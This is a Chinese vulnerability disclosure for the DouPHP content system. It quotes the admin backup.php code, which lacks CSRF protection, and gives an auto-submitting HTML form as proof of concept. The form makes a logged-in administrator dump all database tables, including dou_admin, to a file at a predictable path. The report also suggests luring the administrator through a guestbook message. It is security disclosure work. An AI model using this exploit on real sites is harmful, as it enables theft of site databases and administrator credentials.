### 简要描述：
DouPHP可CSRF脱裤。
### 详细说明：
在www\admin\backup.php：
```
if ($rec == 'backup') {
$fileid = isset($_REQUEST['fileid']) ? $_REQUEST['fileid'] : 1;
$tables = $_REQUEST['tables'];
$vol_size = $_REQUEST['vol_size'];
$totalsize = $_REQUEST['totalsize'];
$file_name = $_REQUEST['file_name']; //1、用户输入的文件作为备份文件名
// 判断备份文件名是否规范
if (!$check->is_backup_file($file_name . '.sql')) //2、is_backup_file 仅检查是否是字母数字开头、.sql结尾
$dou->dou_msg($_LANG['backup_file_name_not_valid'], 'backup.php');
if ($fileid == 1 && $tables) {
if (!isset($tables) || !is_array($tables)) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
$cache_file = ROOT_PATH . 'data/backup/tables.php';
$content = "<?php\r\n";
$content .= "\$data = " . var_export($tables, true) . ";\r\n";
$content .= "?>";
file_put_contents($cache_file, $content, LOCK_EX);
} else {
include ROOT_PATH . 'data/backup/tables.php';
$tables = $data;
if (!$tables) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
}
if ($dou->version() > '4.1' && $sqlcharset) {
$dou->query("SET NAMES '" . $sqlcharset . "';\n\n");
}
$sqldump = '';
$tableid = isset($_REQUEST['tableid']) ? $_REQUEST['tableid'] - 1 : 0;
$startfrom = isset($_REQUEST['startfrom']) ? intval($_REQUEST['startfrom']) : 0;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $vol_size * 1024; $i++) {
$sqldump .= $dump->sql_dumptable($tables[$i], $vol_size, $startfrom, strlen($sqldump));
$startfrom = 0;
}
if (trim($sqldump)) {
$sqldump = "-- douweb v1.x SQL Dump Program\n" . "-- " . ROOT_URL . "\n" . "-- \n" . "-- DATE : " . date('Y-m-d H:i:s') . "\n" .
"-- MYSQL SERVER VERSION : " . $dou->version() . "\n" . "-- PHP VERSION : " . PHP_VERSION . "\n" . "-- Douweb VERSION : " .
$_CFG['dou_version'] . "\n\n" . $sqldump;
$tableid = $i;
if ($vol_size > $totalsize) {
$sql_file_name = $file_name . '.sql';
} else {
$sql_file_name = $file_name . '_' . $fileid . '.sql';
}
$fileid++;
$bakfile = ROOT_PATH . '/data/backup/' . $sql_file_name; //3、写入了文件
if (!is_writable(ROOT_PATH . '/data/backup/')) {
$dou->dou_msg($_LANG['backup_no_save'], 'backup.php');
}
file_put_contents($bakfile, $sqldump);
@ chmod($bakfile, 0777);
$dou->create_admin_log($_LANG['backup'] . ": " . $sql_file_name);
$_LANG['backup_file_success'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['backup_file_success']);
$dou->dou_msg($_LANG['backup_file_success'], 'backup.php?rec=' . $rec . '&vol_size=' . $vol_size . '&totalsize=' . $totalsize . '&file_name=' .
$file_name . '&tableid=' . $tableid . '&fileid=' . $fileid . '&startfrom=' . $startrow, '', 1);
} else {
@ unlink(ROOT_PATH . 'data/backup/tables.php');
$dou->dou_msg($_LANG['backup_success'], 'backup.php?rec=restore');
}
}
```
可以看到其中没有csrf防御，而且用户文件名可自定义。
备份文件夹在
www\data\backup目录下
### 漏洞证明：
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
```
<form name="csrf" action="http://127.0.0.1/admin/backup.php?rec=backup" method="post">
<input type="hidden" name="chkall" value="check">
<input type="hidden" name="tables[]" value="dou_admin">
<input type="hidden" name="tables[]" value="dou_admin_log">
<input type="hidden" name="tables[]" value="dou_article">
<input type="hidden" name="tables[]" value="dou_article_category">
<input type="hidden" name="tables[]" value="dou_config">
<input type="hidden" name="tables[]" value="dou_guestbook">
<input type="hidden" name="tables[]" value="dou_link">
<input type="hidden" name="tables[]" value="dou_nav">
<input type="hidden" name="tables[]" value="dou_page">
<input type="hidden" name="tables[]" value="dou_product">
<input type="hidden" name="tables[]" value="dou_product_category">
<input type="hidden" name="tables[]" value="dou_show">
<input type="hidden" name="file_name" value="xxxxxxxxxxxx">
<input type="hidden" name="vol_size" value="2048">
<input type="hidden" name="totalsize" value="120">
</form>
```
</body>
<script>
document.csrf.submit();
</script>
</body>
</html>
在前台给管理员留言处发一句具有诱惑性的话，骗取点击。即可生成备份文件，可直接下载
http://127.0.0.1/data/backup/xxxxxxxxxxxx.sql
京公网安备 11010502034610号
暂无评论